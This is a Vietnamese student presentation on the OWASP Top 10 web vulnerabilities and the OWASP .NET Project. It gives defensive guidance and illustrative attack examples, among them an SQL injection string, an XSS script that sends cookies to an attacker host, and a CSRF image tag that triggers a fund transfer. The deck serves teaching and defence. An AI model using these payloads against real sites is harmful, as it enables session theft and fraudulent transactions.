1 / 50

OWASP

Nhóm F1. OWASP. 1.OWASP 2. Những lỗ hỏng bảo mật 3. OWASP .Net Project. Nội dung thuyết trình. OWASP ( Open Web Application Security Project ) là một dự án mã nguồn mở về bảo mật ứng dụng Web .

nituna
Download Presentation

OWASP

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Nhóm F1 OWASP

  2. 1.OWASP 2. Những lỗ hỏng bảo mật 3. OWASP .Net Project Nội dung thuyết trình

  3. OWASP (Open Web Application Security Project) là một dự án mã nguồn mở về bảo mật ứng dụng Web. • Dự án là một sự cố gắng chung của cộng đồng giúp các tổ chức có thể phát triển, mua hoặc bảo trì các ứng dụng an toàn. • Ở OWASP bạn sẽ tìm thấy “miễn phí” và “mở” 1. OWASP

  4. Công cụ và các tiêu chuẩn về an toàn thông tin Sách về kiểm tra bảo mật ứng dụng, lập trình an toàn và các bài viết về kiểm định mã nguồn Thư viện và các tiêu chuẩn điều khiển an ninh Các chi nhánh của hội ở khắp nơi trên thế giới Những nghiên cứu mới nhất Những buổi hội thảo toàn cầu Địa chỉ thư tín chung Và nhiều thứ khác, xem thêm tại www.owasp.org Dự án này bao gồm những gì ?

  5. OWASP Top 10 sẽ đưa ra top 10 lỗ hổng bảo mật được cập nhật hàng năm, kể từ 2007. Mục tiêu chính của OWASP Top 10 là để hướngdẫn người lập trình viên, người thiết kế, …về hậu quả của những điểm yếu quan trọng nhất trong ứng dụng web, đồng thời cung cấp những kỹ năng cơ bản để bảo vệ bạn khỏi những mối nguy hại này và hướng dẫn bạn tự tìm hiểu thêm. OWASP Top 10

  6. Khái niệm: Kẻ tấn công(hacker) có thể lợi dụng nhiều con đường khác nhau thông qua ứng dụng web của bạn và làm tổn hại doanh nghiệp hay tổ chức của bạn. Mỗi con đường thể hiện một rủi ro khác nhau mà có thể có hoặc không gây ra sự chú ý. Mỗi con đường đó là một lỗ hỏng bảo mật. 2. Những lỗ hỏng bảo mật

  7. Lỗi nhúng mã. Thực thi mã script xấu. Sai lầm trong kiểm tra định danh. Đối tượng tham chiếu không an toàn. Giả mạo yêu cầu. Sai sót cấu hình an ninh. Lưu trữ mật mã thiếu an toàn. Sai sót hạn chế truy cập. Thiếu bảo vệ lớp vận chuyển. Chuyển hướng và chuyển tiếp thiếu kiểm tra. Top 10 lỗ hỏng bảo mật

  8. String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; 1 – Lỗinhúngmã

  9. 1 – Lỗi nhúng mã • Cách phòng chống: cần phải phần biệt biệt được mã độc và câu lệnh. • Một số cách thực hiện: • Sử dụng thư viện API an toàn • Nếu không có những thư viện phân tách tham số, bạn có thể cẩn thận loại bỏ những kí tự đặc biệt bằng những cú pháp đặc thù của trình biên dịch đó • Kiểm tra dữ liệu đầu vào hợp lệ bằng các từ điển tiêu chuẩn phù hợp.

  10. Ví dụ tình huống tấn công String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; Kẻ tấn công có thể thay thế tham số ‘id’ trong trình duyệt : http://example.com/app/accountView?id=' or '1'='1 String query = "SELECT * FROM accounts WHERE custID=‘’ or '1'='1’; 1 – Lỗinhúngmã

  11. 2 - Thực thi mã script độc (XSS) <script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>

  12. Cách phòngchống: Để ngăn chặn XSS cần phải phân biệt được giữa mã độc và nộ dung web. Một số cách thực hiện: -Khuyến khích loại bỏ các ký tự đặc biệt một cách cẩn thận dựa trên nội dung bối cảnh HTML mà dữ liệu sẽ xuất hiện. -Mã hóa các ký tự đặc biệt trước khi in ra màn hình. -Xác định dữ liệu đầu vào hợp lệ (Liên trục cập nhật và thanh lọc). 2 - Thực thi mã script độc (XSS)

  13. Ví dụ tình huống tấn công : Trong ứng dụng của chúng ta có đoạn HTML dưới đây mà không xác thực hay loại bỏ kí tự đặc biệt : (String) page += "<input name='creditcard'type='TEXT'value='" + request.getParameter("CC") + "'>"; Kẻ tấn công có thể thay đổi tham số ‘CC’ trong trình duyệt của hắn thành: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' 2 - Thực thi mã script độc (XSS)

  14. 3 – Sai lầm trong kiểm tra định danh http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

  15. Các phòng chống: Cho phép người phát triển ứng dụng truy cập: -Một tập hợp những phương thức quản lý định danh mạnh. Nó cho phép: + Đáp ứng tất cả những yêu cầu của kiểm tra định danh được định nghĩa trong OWASP’s Application Security Verification Standard (ASVS) phần V2 (chứng thực) và V3 (quản lý phiên làm việc). + Có một giao diện đơn giản cho người phát triển ứng dụng. -Nên nỗ lực nhiều để tránh bị ăn cắp phiên làm việc qua lỗi XSS. 3 – Sai lầm trong kiểm tra định danh

  16. Ví dụ tình huống tấn công: Thời gian chờ của ứng dụng không được chỉnh hợp lý. Người dung sử dụng một máy công cộng để truy cập vào trang web. Thay vì chọn “đăng xuất” anh ta chỉ đóng trình duyệt và đi. Một người khác sử dụng cùng trình duyệt đó vài giờ sau vẫn có thể sử dụng phiên làm việc đó. 3 – Sai lầm trong kiểm tra định danh

  17. 4 - Đốitượngthamchiếukhông an toàn Lợi dụng những tham chiếu  truy cập dữ liệu một cách trái phép.

  18. Cách phòng chống: yêu cầu xác định một cách bảo vệ các đối tượng mà người dùng có thể truy cập (số/tên của đối tượng) 1. Sử dụng mỗi liên kết đối tượng cho từng người dùng hoặc phiên làm việc. 2. Kiểm tra truy cập. 4 - Đốitượngthamchiếukhông an toàn

  19. Ví dụ tình huống tấn công Ứng dụng sử dụng dữ liệu chưa được kiểm tra trong một truy vấn SQL truy cập đến thông tin tài khoản: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getparameter("acct")); ResultSet results = pstmt.executeQuery( ); 4 - Đốitượngthamchiếukhông an toàn

  20. 5 - Giảmạoyêucầu Tạo ra các ứng dụng lỗi

  21. Cách phòng chống: Ngăn chặn CSRF yêu cầu những giá trị không đoán được trong thân của URL hoặc yêu cầu HTTP. Khuyến khích thêm vào những giá trị riêng biệt trong một trường ẩn. Những giá trị riêng biệt đó có thể được thêm vào qua URL hoặc tham số của URL. 5 - Giảmạoyêucầu

  22. Ví dụ tình huống tấn công: Ứng dụng cho phép người dùng gửi đi nhũng yêu cầu thay đổi trạng thái mà không có những giá trị bí mật: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 Như thế kẻ tấn công có thể tạo ra những yêu cầu gửi tiền từ tài khoản của nạn nhân dến tải khoản của chúng <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /> 5 - Giảmạoyêucầu

  23. 6 - Saisótcấuhình an ninh Tập tin và thư mục không được bảo vệ Tấncôngvào Trang web không được sử dụng Lỗi bảo mật chưa được vá TruyCậpBấtHợpPháp HoặcChiếmTòanbộHệThống

  24. 6 - Saisótcấuhình an ninh

  25. 6 - Saisótcấuhình an ninh Một kiến trúc ứng dụng vững chắc  phân tách và bảo vệ các thành phần riêng biệt Top Bottom Mid

  26. 6 - Saisótcấuhình an ninh Một tiến trình bảo mật có thể dễ dàng lặp lại giúp cho việc triển khai trên môi trường khác nhanh chóng và dễ dàng thiết lập giống nhau, tự động để giảm thiểu công sức thiết lập một môi trường mới an toàn

  27. 6 - Saisótcấuhình an ninh Chạy chương trình quét và kiểm tra định kì để phát hiện những cấu hình sai hoặc những bản vá thiếu. Một tiến trình cập nhật và triển khai tất cả những bản nâng cấp , bản vá của phần mềm một cách định kì đối với mỗi môi trường được triển khai ( bao gồm luôn những thư viện chương trình thường bị bỏ qua ). +  Checking

  28. 6 - Saisótcấuhình an ninh Tình huống tấn công Kịch bản 1: Giao diện điều khiển máy chủ của quản trị viên được tự động cài đặt và không được gỡ bỏ. Tài khoản mặc định chưa được thay đổi. Kẻ tấn công phát hiện đăng nhập với tài khoản mặc định và chiếm quyền điều khiển hệ thống. TàiKhoảnMặcĐịnh Tấncôngvào

  29. 6 - Saisótcấuhình an ninh Tình huống tấn công Kịch bản 2: Chức năng liệt kê thư mục chưa được vô hiệu hóa Kẻ tấn công phát hiện và hắn có thể liệt kê các tập tin trong thư mục và tìm tập tin hắn muốn. Ví dụ những tập tin Java class của bạn, hắn dịch ngược về mã nguồn và tìm ra những lỗ hổng nghiêm trọng trong đó.

  30. 7 - Lưutrữmậtmãkhông an toàn CácKhóa Tấncôngvào (ăn cắp hay thay đổi những dữ liệu ) Các bản sao dữ liệu không được mã hóa Truy cập dữ liệu qua các kênh có thể tự động giải mã.

  31. 7 - Lưutrữmậtmãkhông an toàn

  32. Xem xét các nguy cơ đe dọa tới sự bảo mật của các dữliệu Chắc chắn bạn mã hóa tất cả dữ liệu để bảo vệ chống lại các mối đe dọa này. 7 - Lưutrữmậtmãkhông an toàn Tấncôngtừbêntrong Ngườisửdụngbênngoài

  33. Các bản sao lưu trữ offsite cũng được mã hóa, chìa khóa của các bản sao lưu này phải được quản lý và sao lưu riêng biệt. 7 - Lưutrữmậtmãkhông an toàn 2 MãHóa

  34. Đảm bảo các thuật toán mạnh theo tiêu chuẩn và các khóa mã mạnh được sử dụng, việc quản lý các khóa mã này cũng cần được lưu tâm. Đảm bảo mật khẩu được băm theo tiêu chuẩn của một thuật toán mạnh và có độ phức tạp nhất định. Đảm bảo tất cả các khóa và mật khẩu được bảo vệ khỏi nhũng truy cập trái phép. 7 - Lưutrữmậtmãkhông an toàn ******* MậtKhẩu MD5

  35. Ví dụ tình huống tấn công Kịch bản 1: Mã hóa thẻ tín dụng trong cơ sở dữ liệu được sử dụng để ngăn chặn việc thông tin bị lộ ra với người sử dụng. Tuy nhiên, cơ sở dữ liệu lại được thiết lập để tự động giải mã các truy vấn đối với cột lưu thẻ tín dụng,điều này cho phép kiểu tấn công SQL Injection thu thập được thông tin thẻ tín dụng ở dạng không mã hóa. Thực chất hệ thống này cần phải được thiết lập sao cho những thông tin chỉ được giải mã ở những ứng dụng phía trong, không phải từ những ứng dụng web bên ngoài giải mã sẽ phải mất hơn 3000 năm. 7 - Lưutrữmậtmãkhông an toàn

  36. 7 - Lưutrữmậtmãkhông an toàn Ví dụ tình huống tấn công Kịch bản 2: Một hồ sơ sức khỏe được mã hóa và được sao lưu lại trên một cuốn băng, nhưng mã khóa của hồ sơ cũng được lưu trên bản sao đó. Cuộn băng đã không bao giờ đến được trung tâm lưu trữ. Kịch bản 3: Một cơ sở dữ liệu về mật khẩu sử dụng unsalted hashes để lưu trữ mật khẩu của mọi người. Một lỗi tải file đã được tận dụng bởi tin tặc để lấy các tập tin mật khẩu. Tất cả unsalted hashes bị giải mã chỉ trong vòng 4 tuần, trong khi đối với những hashes nếu được tạo ra đúng cách (with salt) việc giải mã sẽ phải mất hơn 3000 năm.

  37. 8 – Saisóthạnchếtruycập http://example.com/app/getappInfo -> http://example.com/app/admin_getappInfo => Yes / No

  38. Cách phòng chống: • Lựa chọn một cách cẩn thận cách xác nhận, xác minh phù hợp với mỗi trang. • Các chỉ dẫn cần tuân thủ: • Tất cả các quy định về xácminh và chứng thực cần thiết dựa trên chức năng. • Quy định nên có khả năng cấu hình cao, để giảm thiểu bất kỳthiết lập cứng nào trong quy định. • Những cơ chế bắt buộc phải tuân theo nên từ chối tất cả các truy cập mặc định, yêu cầu xác minh rõ ràng cho từng người sử dụng và vai trò của người truy cập mỗi trang. • Đảm bảo các điều kiện đang ở trạng thái thích hợp để cho phép truy cập. 8 – Saisóthạnchếtruycập

  39. Ví dụ tình huống tấn công: Cả hai URL sau đều cần chứng thực. Admin thì được phép truy cập vào trang “admin_getappInfo” http://example.com/app/getappInfo http://example.com/app/admin_getappInfo Một người không được chứng thực vẫn có thể truy cập hai trang trên. Một người sử dụng (không phải Admin) vẫn truy cập vào trang “admin_getappInfo” được. => Một lổ hỗng cho kẻ tấn công có thể lợi dụng để thực hiện mục đích cá nhân. 8 – Saisóthạnchếtruycập

  40. 9 - Thiếubảovệlớpvậnchuyển Theo dõi -> Chiếm phiên làm việc Web giả mạo -> Password or Personal data

  41. Cách phòng chống: Yêu cầu SSL cho tất cả các trang nhạy cảm. Những yêu cầu không qua SSL đến những trang này nên được chuyển hướng đến các trang SSL. Sử dụng thuộc tính “secure” cho các cookie nhạy cảm. Cấu hình SSL chỉ hổ trợ những thuận toán mạnh (Ví dụ: tuân thủ FIPS 140-2 ). Đảm bảo chứng chỉ SSL hợp lệ, chưa quá hạn, không bị thu hồi và phù hợp với tên miền của trang web. Các kết nối ở đầu cuối cũng nên sử dụng SSL hoác các côngnghệ mã hóa khác. 9 - Thiếubảovệlớpvậnchuyển

  42. Ví dụ tình huống tấn công: 1. Trang Web không sử dụng SSL cho các trang yêu cầu xác thực. -> Kẻ tấn công chỉ cần theo dõi lưu lượng mạng, cookie, phiên làm việc của người dùng đã chứng thực -> Sử dụng lai cookie này và chiếm phiên làm việc của người dùng. 2. Trang Web có cấu hình SSL không đúng, gây cảnh báo của trình duyệt cho người dùng bắt phải chấp nhận để sử dụng. -> Kẻ tấn công thu hút người dùng tới một trang web tương tự (không có chứng nhận hợp lệ) -> Do người dùng đã quen cảnh báo -> Họ chấp nhận -> Lộ mật khẩu, dữ liệu cá nhân. 3. Trang Web sử dụng tiêu chuẩn ODBC/JDBC cho các kết nối cơ sở dữ liệu. Tất cả lưu lượng ở dạng không mã hóa. -> Kẻ tấn công dễ dàng lấy thông tin của người dùng. 9 - Thiếubảovệlớpvậnchuyển

  43. 10 – Chuyểnhướngvàchuyểntiếpthiếukiểmtra http://www.example.com/redirect.jsp?url=evil.com

  44. 10 – Chuyểnhướngvàchuyểntiếpthiếukiểmtra Đểphòngchốngtathựchiệncácbướcsau - Đơn giản chỉ cần tránh sử dụng chuyển hướng và chuyển tiếp. - Nếu sử dụng, tránh sử dụng tham số của người dùng cho việc xác định điểm đến. Điều này thường có thể thực hiện được. - Nếu việc sử dụng tham số cho điểm đến không thểtránh khỏi, đảm bảo giá trị của tham số là hợp lệ và đúng quyền của người dùng.

  45. 10 – Chuyểnhướngvàchuyểntiếpthiếukiểmtra Ví dụ tình huống tấn công : - Kẻ tấn công tạo một URL độc hại để hướng người dùng đến một trang web độc hại để thực hiện lừa đảo (phishing) và cài đặt các phần mềm độc hại. - Sử dụng chuyển tiếp (forward) để di chuyển yêu cầu (route request) giữa các bộ phận khác nhau của trang web.Kẻ tấn công tạo ra một URL sẽ vượt qua kiểm tra truy cập của ứng dụng và sau đó chuyển tiếp kẻ tấn công vào những chức năng quản trị bình thường không thể truy cập được.

  46. 3. OWASP .NET PROJECT Khái niệm: - Tậphợpcáctàiliệu, côngcụ, nghiêncứu .NET web security. - Cungcấpcácnguồnthông tin vềbảomật. - Mộtdựánvớitầmnhìnrộngvàdựtrùchotấtcảcáckhíacạnhcủa .NET security.

  47. 3. OWASP .NET PROJECT Mụcđích: - Cungcấptrungtâmlưugiữthông tin vàcôngcụchocácphầnmềmchuyênnghiệpcósửdụng Microsoft .NET Framework chocácứngdụngvàdịchvụ web. - Project cốgắngtíchhợpcáctàinguyêntừ Microsoft vàtừcộngđồng open source, cộngđồngAlt.Netvànhữngtàinguyênliênquanđếntàinguyênbảomật.

  48. 3. OWASP .NET PROJECT Mụctiêu: - Cungcấpmộttậphợptoàndiệncáctàinguyênbảomậtchotấtcảnhữngvaitrònhưthiếtkế, pháttriểnvàbảotrìứngdụngvàdịchvụ.Net web. - Tổchứcnội dung rõràngchocác project OWASP cóthểsửdụnghoặcthamkhảovềbảomậttrong .NET - Đểtiếpcậnvàmanglạinội dung từcác open source nhầmbảovệ user củacácứngdụngvàdịchvụ web

  49. Định nghĩa Project - Project chứathông tin, tàinguyênvàphầnmềmthíchhợpđểxâydựngcácứngdụngvàdịchvụ web .NET bảomật. - Mụctiêucủa project làcungcấpnội dung chotấtcảcácvaitròcóliênquanđến .NET web applications and services baogồm: + Kiếntrúchướngdẫn. + Côngcụ, thông tin vàcáckiểmchứngchongườipháttriển + Nội dung IT chuyênmôn(choviệctriểnkhaivàbảotrì website .NET) + Cáctrườnghợpxâmnhậpkiểmtratàinguyên + Cácsựcốkhiđápứngnguồntàinguyên(Incident response resources)

  50. Tại sao dùng OWASP .NET Project ? Cầnmộtmãnguồnvàcáckhíacạnh an ninhđáng tin cậyvà “miễnphí” Tạoracácứngdụng Web an toànbảomật

More Related